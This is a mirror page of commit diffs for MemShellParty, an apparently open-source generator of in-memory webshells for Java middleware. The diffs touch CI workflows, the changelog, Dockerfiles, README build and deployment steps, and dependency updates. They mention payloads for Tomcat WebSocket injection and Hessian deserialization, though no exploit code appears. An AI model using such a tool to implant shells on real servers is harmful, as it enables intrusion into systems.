mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 23:11:52 +08:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
28fb25781b | ||
|
|
58f471ca2c | ||
|
|
db87c3f317 | ||
|
|
5635deff23 | ||
|
|
bda018b93f | ||
|
|
4d36c0bc8f | ||
|
|
ad4a0cf2bf | ||
|
|
9c820f9d29 | ||
|
|
a48442fcab | ||
|
|
68791f6c15 | ||
|
|
479b2a0c16 | ||
|
|
a148fa1cb9 | ||
|
|
116f1034b0 | ||
|
|
db55765fdf | ||
|
|
8b67d639bd | ||
|
|
cead11c781 | ||
|
|
43dc5ca398 | ||
|
|
ede78f3efc | ||
|
|
72370a3b84 | ||
|
|
ad248f0703 | ||
|
|
358f66ff01 | ||
|
|
76a78f14e0 | ||
|
|
33a9008ecb | ||
|
|
b27b40c543 | ||
|
|
74cc792dc6 | ||
|
|
348e86079a | ||
|
|
d4160d9a94 | ||
|
|
19c40e0e2d | ||
|
|
b49af93bec | ||
|
|
d9e3e03def | ||
|
|
bba2b2d211 | ||
|
|
56f0e8001d | ||
|
|
2f80ecb020 | ||
|
|
b3bda20f2c | ||
|
|
be5a2089d2 | ||
|
|
9d2e8125d9 | ||
|
|
8964769be8 | ||
|
|
3acab6e620 | ||
|
|
5148414ca8 | ||
|
|
0b10a55f66 | ||
|
|
cbf2d02808 | ||
|
|
775fc38abe | ||
|
|
6b3f4a2606 | ||
|
|
52c720572f | ||
|
|
5e2242665b | ||
|
|
cdd145d0b2 | ||
|
|
18aa8ed60d | ||
|
|
3e40763724 | ||
|
|
eda6134262 |
+1
-1
@@ -9,7 +9,7 @@ if __name__ == '__main__':
|
|||||||
args = parser.parse_args()
|
args = parser.parse_args()
|
||||||
version = args.version
|
version = args.version
|
||||||
|
|
||||||
with open("../CHANGELOG.md") as f:
|
with open("../../CHANGELOG.md") as f:
|
||||||
lines = f.readlines()
|
lines = f.readlines()
|
||||||
for line in lines:
|
for line in lines:
|
||||||
if line.startswith(f"## [{version}]"):
|
if line.startswith(f"## [{version}]"):
|
||||||
@@ -21,13 +21,16 @@ jobs:
|
|||||||
|
|
||||||
- name: Get Version
|
- name: Get Version
|
||||||
id: get_version
|
id: get_version
|
||||||
uses: battila7/get-version-action@v2
|
run: |
|
||||||
|
VERSION=${GITHUB_REF#refs/tags/}
|
||||||
|
VERSION_WITHOUT_V=${VERSION#v}
|
||||||
|
echo "version=$VERSION" >> $GITHUB_OUTPUT
|
||||||
|
echo "version-without-v=$VERSION_WITHOUT_V" >> $GITHUB_OUTPUT
|
||||||
|
|
||||||
- name: Get ChangeLog
|
- name: Get ChangeLog
|
||||||
id: get_changelog
|
id: get_changelog
|
||||||
working-directory: scripts
|
working-directory: .github/scripts
|
||||||
run: |
|
run: |
|
||||||
CHANGELOG=$(python parse_changelog_of_version.py "${{ steps.get_version.outputs.version }}")
|
|
||||||
echo "changelog<<EOF" >> $GITHUB_OUTPUT
|
echo "changelog<<EOF" >> $GITHUB_OUTPUT
|
||||||
echo "$(python parse_changelog_of_version.py ${{ steps.get_version.outputs.version }})" >> $GITHUB_OUTPUT
|
echo "$(python parse_changelog_of_version.py ${{ steps.get_version.outputs.version }})" >> $GITHUB_OUTPUT
|
||||||
echo "EOF" >> $GITHUB_OUTPUT
|
echo "EOF" >> $GITHUB_OUTPUT
|
||||||
@@ -109,13 +112,11 @@ jobs:
|
|||||||
context: boot
|
context: boot
|
||||||
platforms: linux/amd64,linux/arm64
|
platforms: linux/amd64,linux/arm64
|
||||||
push: true
|
push: true
|
||||||
build-args: |
|
|
||||||
VERSION=${{ needs.info.outputs.version-without-v }}
|
|
||||||
tags: |
|
tags: |
|
||||||
docker.io/reajason/memshell-party:latest
|
|
||||||
docker.io/reajason/memshell-party:${{ needs.info.outputs.version-without-v }}
|
docker.io/reajason/memshell-party:${{ needs.info.outputs.version-without-v }}
|
||||||
ghcr.io/reajason/memshell-party:latest
|
docker.io/reajason/memshell-party:latest
|
||||||
ghcr.io/reajason/memshell-party:${{ needs.info.outputs.version-without-v }}
|
ghcr.io/reajason/memshell-party:${{ needs.info.outputs.version-without-v }}
|
||||||
|
ghcr.io/reajason/memshell-party:latest
|
||||||
|
|
||||||
create-release:
|
create-release:
|
||||||
name: Create Release
|
name: Create Release
|
||||||
@@ -126,12 +127,24 @@ jobs:
|
|||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
|
- name: Download Boot Jar
|
||||||
|
uses: actions/download-artifact@v4
|
||||||
|
with:
|
||||||
|
name: boot
|
||||||
|
path: boot/build/libs
|
||||||
|
|
||||||
|
- name: Calculate SHA-256
|
||||||
|
id: calculate_sha256
|
||||||
|
run: |
|
||||||
|
sha256sum boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.jar > boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.sha256
|
||||||
|
|
||||||
- name: Release
|
- name: Release
|
||||||
uses: ncipollo/release-action@v1
|
uses: ncipollo/release-action@v1
|
||||||
with:
|
with:
|
||||||
name: ${{ needs.info.outputs.version }}
|
name: ${{ needs.info.outputs.version }}
|
||||||
tag: ${{ needs.info.outputs.version }}
|
tag: ${{ needs.info.outputs.version }}
|
||||||
body: ${{ needs.info.outputs.changelog }}
|
body: ${{ needs.info.outputs.changelog }}
|
||||||
|
artifacts: boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.jar,boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.sha256
|
||||||
|
|
||||||
deploy-northflank:
|
deploy-northflank:
|
||||||
name: Deploy to Northflank
|
name: Deploy to Northflank
|
||||||
|
|||||||
@@ -2,15 +2,8 @@ name: Test
|
|||||||
|
|
||||||
on:
|
on:
|
||||||
push:
|
push:
|
||||||
paths-ignore:
|
|
||||||
- 'docs/**'
|
|
||||||
- 'boot/**'
|
|
||||||
- 'web/**'
|
|
||||||
- '**.md'
|
|
||||||
- '**/*.png'
|
|
||||||
pull_request:
|
|
||||||
branches:
|
branches:
|
||||||
- main
|
- '**'
|
||||||
paths-ignore:
|
paths-ignore:
|
||||||
- 'docs/**'
|
- 'docs/**'
|
||||||
- 'boot/**'
|
- 'boot/**'
|
||||||
|
|||||||
@@ -49,3 +49,11 @@ gradle-app.setting
|
|||||||
|
|
||||||
.DS_Store
|
.DS_Store
|
||||||
*.iml
|
*.iml
|
||||||
|
.vscode/
|
||||||
|
|
||||||
|
# enterprise integration test cases
|
||||||
|
snippets/
|
||||||
|
integration-test/**/apusic
|
||||||
|
integration-test/**/bes
|
||||||
|
integration-test/**/tongweb
|
||||||
|
integration-test/**/inforsuite
|
||||||
@@ -5,6 +5,51 @@ All notable changes to this project will be documented in this file.
|
|||||||
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
|
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
|
||||||
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
||||||
|
|
||||||
|
## [v1.3.2](https://github.com/ReaJason/MemShellParty/releases/tag/v1.3.2) - 2025-02-25
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
|
||||||
|
- 修复 Tomcat WebSocket 注入报错,无法工作
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
- 添加 foojay-toolchains 插件,支持 Dockerfile 构建时自动下载缺失的 JDK 版本
|
||||||
|
- 优化构建 Spring Boot 的 Dockerfile,最小权限原则
|
||||||
|
- 支持一键构建的 Dockerfile,适配需要 NGINX 反代的场景
|
||||||
|
- 代码重构支持一处注册所有 Server 的 Shell 配置
|
||||||
|
|
||||||
|
**Full Changelog:** [v1.3.1...v1.3.2](https://github.com/ReaJason/MemShellParty/compare/v1.3.1...v1.3.2)
|
||||||
|
|
||||||
|
## [v1.3.1](https://github.com/ReaJason/MemShellParty/releases/tag/v1.3.1) - 2025-02-20
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
- UI 中打包配置中添加 Loading 状态
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
|
||||||
|
- 修复 UI 在修改目标服务时,挂载类型有时未跟着变化导致生成失败
|
||||||
|
|
||||||
|
**Full Changelog:** [v1.3.0...v1.3.1](https://github.com/ReaJason/MemShellParty/compare/v1.3.0...v1.3.1)
|
||||||
|
|
||||||
|
## [v1.3.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.3.0) - 2025-02-20
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
- 支持 Hessian、Hessian2 反序列化,XSLT 链 (#36) by @ReaJason
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
- 移除无用依赖,JavaSocket,Gson
|
||||||
|
- Gradle 升级至 8.12.1
|
||||||
|
- 更新 TestContainers 和 Junit 的版本
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
|
||||||
|
- 修复 UI 在仅修改打包方式重新生成时,多选 payload 下拉框置空,且 payload 没有变为最新的。
|
||||||
|
|
||||||
|
**Full Changelog:** [v1.2.1...v1.3.0](https://github.com/ReaJason/MemShellParty/compare/v1.2.1...v1.3.0)
|
||||||
|
|
||||||
## [v1.2.1](https://github.com/ReaJason/MemShellParty/releases/tag/v1.2.1) - 2025-02-19
|
## [v1.2.1](https://github.com/ReaJason/MemShellParty/releases/tag/v1.2.1) - 2025-02-19
|
||||||
|
|
||||||
### Changed
|
### Changed
|
||||||
@@ -15,6 +60,8 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
|
|||||||
|
|
||||||
- 修复 CB110 版本 serialVersionUID 修改失效导致无法利用成功
|
- 修复 CB110 版本 serialVersionUID 修改失效导致无法利用成功
|
||||||
|
|
||||||
|
**Full Changelog:** [v1.2.0...v1.2.1](https://github.com/ReaJason/MemShellParty/compare/v1.2.0...v1.2.1)
|
||||||
|
|
||||||
## [v1.2.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.2.0) - 2025-02-19
|
## [v1.2.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.2.0) - 2025-02-19
|
||||||
|
|
||||||
### Added
|
### Added
|
||||||
@@ -31,6 +78,8 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
|
|||||||
|
|
||||||
- 修复随机类名如果为保留字时会无法加载
|
- 修复随机类名如果为保留字时会无法加载
|
||||||
|
|
||||||
|
**Full Changelog:** [v1.1.0...v1.2.0](https://github.com/ReaJason/MemShellParty/compare/v1.1.0...v1.2.0)
|
||||||
|
|
||||||
## [v1.1.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.1.0) - 2025-02-15
|
## [v1.1.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.1.0) - 2025-02-15
|
||||||
|
|
||||||
### Added
|
### Added
|
||||||
|
|||||||
+66
@@ -0,0 +1,66 @@
|
|||||||
|
FROM buildpack-deps:bullseye-scm AS source
|
||||||
|
|
||||||
|
ARG VERSION="1.0.0"
|
||||||
|
ENV VERSION=${VERSION}
|
||||||
|
|
||||||
|
WORKDIR /usr/src
|
||||||
|
|
||||||
|
RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
|
||||||
|
rm -rf vul integration-test tools
|
||||||
|
|
||||||
|
FROM oven/bun:1.2.2 AS frontend
|
||||||
|
|
||||||
|
ARG ROUTE_ROOT_PATH="/"
|
||||||
|
ARG CONTEXT_PATH=""
|
||||||
|
|
||||||
|
WORKDIR /usr/src/web
|
||||||
|
|
||||||
|
ENV VITE_APP_API_URL=${CONTEXT_PATH} \
|
||||||
|
VITE_APP_BASE_PATH=${ROUTE_ROOT_PATH}
|
||||||
|
|
||||||
|
COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lockb /usr/src/web/
|
||||||
|
|
||||||
|
RUN bun install --frozen-lockfile
|
||||||
|
|
||||||
|
COPY --from=source /usr/src/web /usr/src/web
|
||||||
|
|
||||||
|
RUN bun run build
|
||||||
|
|
||||||
|
FROM eclipse-temurin:17.0.14_7-jdk-noble AS backend
|
||||||
|
|
||||||
|
ARG VERSION="1.0.0"
|
||||||
|
ENV VERSION=${VERSION}
|
||||||
|
|
||||||
|
WORKDIR /usr/src
|
||||||
|
|
||||||
|
COPY --from=source /usr/src /usr/src
|
||||||
|
|
||||||
|
COPY --from=frontend /usr/src/web/dist /usr/src/web/dist
|
||||||
|
|
||||||
|
RUN set -ex && \
|
||||||
|
cd web && bash copy-build.sh && \
|
||||||
|
cd .. && ./gradlew -Pversion=${VERSION} :boot:bootjar -x test --no-daemon
|
||||||
|
|
||||||
|
FROM eclipse-temurin:17.0.14_7-jre-noble
|
||||||
|
|
||||||
|
LABEL authors="ReaJason<[email protected]>"
|
||||||
|
|
||||||
|
WORKDIR /app
|
||||||
|
|
||||||
|
COPY --from=backend /usr/src/boot/build/libs/*.jar app.jar
|
||||||
|
|
||||||
|
RUN groupadd -r spring && \
|
||||||
|
useradd -r -g spring spring && \
|
||||||
|
chown spring:spring /app/app.jar
|
||||||
|
|
||||||
|
USER spring:spring
|
||||||
|
|
||||||
|
ENV INTERNAL_JAVA_OPTS="\
|
||||||
|
-Djava.security.egd=file:/dev/./urandom -Dfastison.parser.safeMode=true \
|
||||||
|
--add-opens=java.base/java.util=ALL-UNNAMED \
|
||||||
|
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
|
||||||
|
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED"
|
||||||
|
|
||||||
|
EXPOSE 8080
|
||||||
|
|
||||||
|
ENTRYPOINT ["sh", "-c", "java $JAVA_OPTS $INTERNAL_JAVA_OPTS -jar app.jar $BOOT_OPTS"]
|
||||||
@@ -19,11 +19,11 @@ MemShellParty 是一款可本地部署的一键生成常见中间件框架内存
|
|||||||
|
|
||||||
MemShellParty 出现的原因有以下几个:
|
MemShellParty 出现的原因有以下几个:
|
||||||
|
|
||||||
1. 工作中有时候客户会有个别中间件的内存马测试需求,这个时候临时写一个太慢又太烦,在不忙的时候做一个工具,有需求就生成一个多好(之前用 [Java Memshell Generator](https://github.com/pen4uin/java-memshell-generator)
|
1. 工作中有时候客户会有个别中间件的内存马测试需求,这个时候临时写一个太慢又太烦,在不忙的时候做一个工具,有需求就生成一个多好(之前用
|
||||||
生成一个 WAS 的内存马不能用,调了半天修好了)。
|
Java Memshell Generator 生成一个 WAS 的内存马不能用,调了半天修好了)。
|
||||||
2. 写 [Javassist](https://www.javassist.org/) 实在是太多了,字符串拼接的方式去弄方法 code
|
2. 写 [Javassist](https://www.javassist.org/) 实在是太多了,字符串拼接的方式去弄方法 code
|
||||||
实在是看得眼睛疼,又不好维护,代码组织合理的话其实都可以,不过做项目我还是推荐 [Byte Buddy](https://bytebuddy.net/),高封装提供的
|
实在是看得眼睛疼,又不好维护,代码组织合理的话其实都可以,不过做项目我还是推荐 [Byte Buddy](https://bytebuddy.net/)
|
||||||
API 很好用的。单个利用脚本的话确实 [Javassist](https://www.javassist.org/) 来得快,而且很多中间件也自带依赖直接能打。
|
,高封装提供的 API 很好用的。单个利用脚本的话确实 [Javassist](https://www.javassist.org/) 来得快,而且很多中间件也自带依赖直接能打。
|
||||||
3. [Java Memshell Generator](https://github.com/pen4uin/java-memshell-generator)
|
3. [Java Memshell Generator](https://github.com/pen4uin/java-memshell-generator)
|
||||||
的出现确实帮大忙了,但是其极少的交互逻辑对于一个应用来说是难以接受的,刚好学习了前端对 UX 也感兴趣(对 Desktop
|
的出现确实帮大忙了,但是其极少的交互逻辑对于一个应用来说是难以接受的,刚好学习了前端对 UX 也感兴趣(对 Desktop
|
||||||
应用无感),必须得整一个玩玩。
|
应用无感),必须得整一个玩玩。
|
||||||
@@ -54,11 +54,15 @@ MemShellParty 出现的原因有以下几个:
|
|||||||
|
|
||||||
### 在线站点
|
### 在线站点
|
||||||
|
|
||||||
可直接访问 https://party.memshell.news (没做加速,搭建在 [Northflank](https://northflank.com/) US
|
> 仅限尝鲜的小伙伴,对于其他暴露在公网的服务请谨慎使用,小心生成的内存马带后门
|
||||||
|
|
||||||
|
可直接访问 https://party.memshell.news (搭建在 [Northflank](https://northflank.com/) US
|
||||||
节点上,访问较慢,Thanks [@xcxmiku](https://github.com/xcxmiku)),每次 Release 都会自动部署最新的镜像。
|
节点上,访问较慢,Thanks [@xcxmiku](https://github.com/xcxmiku)),每次 Release 都会自动部署最新的镜像。
|
||||||
|
|
||||||
### 本地部署(推荐)
|
### 本地部署(推荐)
|
||||||
|
|
||||||
|
> 适合内网或本地快速部署,直接使用 Docker 启动服务方便快捷
|
||||||
|
|
||||||
使用 docker 部署之后访问 http://127.0.0.1:8080
|
使用 docker 部署之后访问 http://127.0.0.1:8080
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
@@ -78,10 +82,110 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju
|
|||||||
# 移除之前部署的
|
# 移除之前部署的
|
||||||
docker rm -f memshell-party
|
docker rm -f memshell-party
|
||||||
|
|
||||||
# 使用之前的部署命令,重新部署(会自动拉取最新的镜像部署)
|
# 使用之前的部署命令重新部署(会自动拉取最新的镜像部署)
|
||||||
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
|
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
|
||||||
```
|
```
|
||||||
|
|
||||||
|
### 本地构建
|
||||||
|
|
||||||
|
> 适合想编写代码的小伙伴,使用 Git Clone 下载到本地,并构建前后端项目以供使用
|
||||||
|
|
||||||
|
首先需要下载 [bun](https://bun.sh/),这是一款用于构建前端服务的工具。
|
||||||
|
|
||||||
|
1. 使用 Git Clone 项目
|
||||||
|
```bash
|
||||||
|
git clone https://github.com/ReaJason/MemShellParty.git
|
||||||
|
```
|
||||||
|
2. 构建前端项目,build 结束会将静态资源自动移动到 Spring Boot 中以供使用
|
||||||
|
```bash
|
||||||
|
cd MemShellParty/web
|
||||||
|
|
||||||
|
bun install
|
||||||
|
|
||||||
|
bun run build
|
||||||
|
```
|
||||||
|
3. 构建后端项目,确保使用 JDK17 环境
|
||||||
|
```bash
|
||||||
|
cd MemShellParty/boot
|
||||||
|
|
||||||
|
./gradlew :boot:bootjar -x test
|
||||||
|
```
|
||||||
|
|
||||||
|
构建完之后,可直接启动 jar 包,jar 包位于 `MemShellParty/boot/build/libs/boot-1.0.0.jar`
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd MemShellParty/boot
|
||||||
|
|
||||||
|
java -jar \
|
||||||
|
--add-opens=java.base/java.util=ALL-UNNAMED \
|
||||||
|
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
|
||||||
|
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
|
||||||
|
build/libs/boot-1.0.0.jar
|
||||||
|
```
|
||||||
|
|
||||||
|
也可这基础上再继续构建容器来使用
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd MemShellParty/boot
|
||||||
|
|
||||||
|
docker buildx build -t memshell-party:latest . --load
|
||||||
|
|
||||||
|
docker run -it -d --name memshell-party -p 8080:8080 memshell-party:latest
|
||||||
|
```
|
||||||
|
|
||||||
|
### Dockerfile 一键构建
|
||||||
|
|
||||||
|
> 适合于希望构建自定义访问路径的小伙伴,例如 NGINX 反代的场景([#44](https://github.com/ReaJason/MemShellParty/issues/44))
|
||||||
|
|
||||||
|
下载项目根目录的 [Dockerfile](./Dockerfile)
|
||||||
|
|
||||||
|
- VERSION: 版本信息,随意,建议用最新的 tag 号,仅作前端展示
|
||||||
|
- ROUTE_ROOT_PATH: 前端根路由配置
|
||||||
|
- CONTEXT_PATH: 后端访问前缀
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# 基础构建
|
||||||
|
docker buildx build \
|
||||||
|
--build-arg VERSION=1.3.1 \
|
||||||
|
-t memshell-party:latest . --load
|
||||||
|
|
||||||
|
# 基础镜像启动,访问 127.0.0.1:8080
|
||||||
|
docker run -it -d -p 8080:8080 memshell-party:latest
|
||||||
|
|
||||||
|
# 自定义访问路径构建
|
||||||
|
docker buildx build \
|
||||||
|
--build-arg VERSION=1.3.1 \
|
||||||
|
--build-arg ROUTE_ROOT_PATH=/memshell-party \
|
||||||
|
--build-arg CONTEXT_PATH=/memshell-party \
|
||||||
|
-t memshell-party:latest . --load
|
||||||
|
|
||||||
|
# 自定义路径构建镜像启动,访问 127.0.0.1:8080/memshell-party
|
||||||
|
docker run -it -p 8080:8080 \
|
||||||
|
-e BOOT_OPTS=--server.servlet.context-path=/memshell-party \
|
||||||
|
memshell-party:latest
|
||||||
|
```
|
||||||
|
|
||||||
|
如果需要使用 NGINX 反代,请先使用自定义访问路径构建容器,并配置 NGINX 如下:
|
||||||
|
|
||||||
|
其中 `location /memshell-party`、`ROUTE_ROOT_PATH=/memshell-party`、`CONTEXT_PATH=/memshell-party` 和
|
||||||
|
`BOOT_OPTS=--server.servlet.context-path=/memshell-party` 都要一致才行。
|
||||||
|
|
||||||
|
```text
|
||||||
|
location /memshell-party {
|
||||||
|
proxy_pass http://127.0.0.1:8080;
|
||||||
|
proxy_set_header Host $http_host;
|
||||||
|
proxy_set_header X-Forwarded-By $server_addr:$server_port;
|
||||||
|
proxy_set_header X-Forwarded-For $remote_addr;
|
||||||
|
proxy_http_version 1.1;
|
||||||
|
proxy_connect_timeout 3s;
|
||||||
|
proxy_read_timeout 300s;
|
||||||
|
proxy_send_timeout 300s;
|
||||||
|
proxy_buffer_size 16k;
|
||||||
|
proxy_buffers 8 64k;
|
||||||
|
proxy_busy_buffers_size 128k;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
## 适配情况
|
## 适配情况
|
||||||
|
|
||||||
已兼容 Java6 ~ Java8、Java9、Java11、Java17、Java21
|
已兼容 Java6 ~ Java8、Java9、Java11、Java17、Java21
|
||||||
@@ -152,6 +256,7 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason
|
|||||||
- [x] 原生反序列化(CB4)
|
- [x] 原生反序列化(CB4)
|
||||||
- [x] Agent
|
- [x] Agent
|
||||||
- [x] XXL-JOB Executor
|
- [x] XXL-JOB Executor
|
||||||
|
- [x] Hessian、Hessian2 反序列化(XSLT链)
|
||||||
- [ ] JNDI
|
- [ ] JNDI
|
||||||
- [ ] JDBC 连接
|
- [ ] JDBC 连接
|
||||||
- [ ] 其他常见反序列化
|
- [ ] 其他常见反序列化
|
||||||
|
|||||||
+4
-4
@@ -28,10 +28,10 @@ dependencies {
|
|||||||
|
|
||||||
api 'org.jetbrains:annotations:26.0.1'
|
api 'org.jetbrains:annotations:26.0.1'
|
||||||
|
|
||||||
api "org.mockito:mockito-core:5.+"
|
api "org.mockito:mockito-core:5.15.2"
|
||||||
api 'org.hamcrest:hamcrest:3.0'
|
api 'org.hamcrest:hamcrest:3.0'
|
||||||
api 'org.junit:junit-bom:5.10.0'
|
api 'org.junit:junit-bom:5.11.4'
|
||||||
api 'org.testcontainers:testcontainers:1.20.4'
|
api 'org.testcontainers:testcontainers:1.20.5'
|
||||||
api 'org.testcontainers:junit-jupiter:1.20.4'
|
api 'org.testcontainers:junit-jupiter:1.20.5'
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -4,6 +4,8 @@ build/
|
|||||||
!gradle/wrapper/gradle-wrapper.jar
|
!gradle/wrapper/gradle-wrapper.jar
|
||||||
!**/src/main/**/build/
|
!**/src/main/**/build/
|
||||||
!**/src/test/**/build/
|
!**/src/test/**/build/
|
||||||
|
src/main/resources/static/
|
||||||
|
src/main/resources/templates/
|
||||||
|
|
||||||
### STS ###
|
### STS ###
|
||||||
.apt_generated
|
.apt_generated
|
||||||
|
|||||||
+15
-9
@@ -1,17 +1,23 @@
|
|||||||
FROM eclipse-temurin:17-jre
|
FROM eclipse-temurin:17.0.14_7-jre-noble
|
||||||
|
|
||||||
ARG VERSION=1.0.0
|
|
||||||
|
|
||||||
ENV VERSION=$VERSION
|
|
||||||
|
|
||||||
LABEL authors="ReaJason<[email protected]>"
|
LABEL authors="ReaJason<[email protected]>"
|
||||||
|
|
||||||
WORKDIR /app
|
WORKDIR /app
|
||||||
COPY build/libs/boot-${VERSION}.jar app.jar
|
|
||||||
|
|
||||||
ENV JAVA_OPTS="" \
|
COPY build/libs/*.jar app.jar
|
||||||
INTER_JAVA_OPTS="--add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED"
|
|
||||||
|
RUN groupadd -r spring && \
|
||||||
|
useradd -r -g spring spring && \
|
||||||
|
chown spring:spring /app/app.jar
|
||||||
|
|
||||||
|
USER spring:spring
|
||||||
|
|
||||||
|
ENV INTERNAL_JAVA_OPTS="\
|
||||||
|
-Djava.security.egd=file:/dev/./urandom -Dfastison.parser.safeMode=true \
|
||||||
|
--add-opens=java.base/java.util=ALL-UNNAMED \
|
||||||
|
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
|
||||||
|
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED"
|
||||||
|
|
||||||
EXPOSE 8080
|
EXPOSE 8080
|
||||||
|
|
||||||
ENTRYPOINT java $JAVA_OPTS $INTER_JAVA_OPTS -jar app.jar
|
ENTRYPOINT ["sh", "-c", "java $JAVA_OPTS $INTERNAL_JAVA_OPTS -jar app.jar $BOOT_OPTS"]
|
||||||
+1
-10
@@ -21,13 +21,6 @@ def runtimeJvmArgs = [
|
|||||||
|
|
||||||
tasks.processResources { filesMatching("**/application.yaml") { expand(project.properties) } }
|
tasks.processResources { filesMatching("**/application.yaml") { expand(project.properties) } }
|
||||||
|
|
||||||
tasks.withType(JavaCompile).configureEach {
|
|
||||||
options.compilerArgs += [
|
|
||||||
'--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
|
|
||||||
'--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
|
|
||||||
]
|
|
||||||
}
|
|
||||||
|
|
||||||
tasks.withType(Test).configureEach {
|
tasks.withType(Test).configureEach {
|
||||||
jvmArgs += runtimeJvmArgs
|
jvmArgs += runtimeJvmArgs
|
||||||
}
|
}
|
||||||
@@ -51,13 +44,11 @@ dependencies {
|
|||||||
implementation(project(":deserialize")) {
|
implementation(project(":deserialize")) {
|
||||||
exclude group: 'commons-logging', module: 'commons-logging'
|
exclude group: 'commons-logging', module: 'commons-logging'
|
||||||
}
|
}
|
||||||
implementation 'org.apache.bcel:bcel'
|
|
||||||
implementation 'org.springframework.boot:spring-boot-starter-thymeleaf'
|
implementation 'org.springframework.boot:spring-boot-starter-thymeleaf'
|
||||||
implementation('org.springframework.boot:spring-boot-starter-web') {
|
implementation('org.springframework.boot:spring-boot-starter-web') {
|
||||||
exclude group: 'org.springframework.boot', module: 'spring-boot-starter-tomcat'
|
exclude group: 'org.springframework.boot', module: 'spring-boot-starter-tomcat'
|
||||||
}
|
}
|
||||||
implementation 'org.springframework.boot:spring-boot-starter-undertow'
|
implementation 'org.springframework.boot:spring-boot-starter-undertow'
|
||||||
implementation 'com.google.code.gson:gson:2.11.0'
|
|
||||||
compileOnly 'org.projectlombok:lombok'
|
compileOnly 'org.projectlombok:lombok'
|
||||||
developmentOnly 'org.springframework.boot:spring-boot-devtools'
|
developmentOnly 'org.springframework.boot:spring-boot-devtools'
|
||||||
annotationProcessor 'org.springframework.boot:spring-boot-configuration-processor'
|
annotationProcessor 'org.springframework.boot:spring-boot-configuration-processor'
|
||||||
@@ -66,6 +57,6 @@ dependencies {
|
|||||||
testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
|
testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
|
||||||
}
|
}
|
||||||
|
|
||||||
tasks.named('test') {
|
test {
|
||||||
useJUnitPlatform()
|
useJUnitPlatform()
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,10 +1,10 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
import com.reajason.javaweb.boot.entity.Config;
|
import com.reajason.javaweb.boot.entity.Config;
|
||||||
import com.reajason.javaweb.memshell.AbstractShell;
|
import com.reajason.javaweb.memshell.server.AbstractShell;
|
||||||
import com.reajason.javaweb.memshell.config.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.packer.Packers;
|
import com.reajason.javaweb.memshell.Packers;
|
||||||
import org.springframework.http.ResponseEntity;
|
import org.springframework.http.ResponseEntity;
|
||||||
import org.springframework.web.bind.annotation.CrossOrigin;
|
import org.springframework.web.bind.annotation.CrossOrigin;
|
||||||
import org.springframework.web.bind.annotation.RequestMapping;
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
@@ -30,9 +30,9 @@ public class ConfigController {
|
|||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
ShellTool[] supportedShellTools = ShellTool.values();
|
ShellTool[] supportedShellTools = ShellTool.values();
|
||||||
Map<String, List<String>> map = new LinkedHashMap<>(16);
|
Map<String, Set<String>> map = new LinkedHashMap<>(16);
|
||||||
